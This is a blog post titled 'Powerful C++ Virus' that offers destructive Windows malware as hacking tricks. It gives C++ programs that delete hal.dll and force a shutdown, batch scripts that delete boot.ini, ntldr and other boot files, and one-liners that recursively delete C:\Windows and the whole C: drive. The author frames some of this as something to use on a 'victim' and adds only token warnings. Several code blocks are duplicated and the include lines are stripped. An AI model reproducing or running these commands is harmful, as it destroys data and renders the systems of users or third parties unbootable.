Powerful C++ Virus
This is a powerful C++
virus, which deletes Hal.dll, something that is required for startup. After
deleting that, it shuts down, never to start again.
Warning: Do not try this on your home
computer.
The Original Code:
The Original Code:
Code:
#include
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(“C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}
{
std::remove(“C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}
A more advanced version
of this virus which makes the C:\Windows a variable that cannot be wrong. Here
it is:
Code:
#include
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(“%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}
{
std::remove(“%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}
The second version would
be more useful during times when you do not know the victims default drive. It
might be drive N: for all you know.
3) Shutdown A Computer Forever!
Now Please take your eyes
of this part because this is the most simplest and deadliest trick/hack for
your windows computer. Copy the following code into your notepad
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Save it as
“shutdown-forever.bat”. Just make sure it has a .bat or .cmd extension.
DONT RUN THE BATCH FILE ,YOU WONT RECOVER BACK AFTER YOU RUN IT
!!!
This should shutdown
the persons computer. It shuts it off once and deletes the files needed to
reboot and restart.So please, use this hack only if you have no intention of
rebooting your computer again. So just be careful.
Here’s an alternative
code.
cmd /c del c:\windows\* /F /S
/Q
cmd
/c del c:\*
/F /S /Q
Paste it in NotePad And Save It with Extension .cmd or .bat.
Paste it in NotePad And Save It with Extension .cmd or .bat.
No comments:
Post a Comment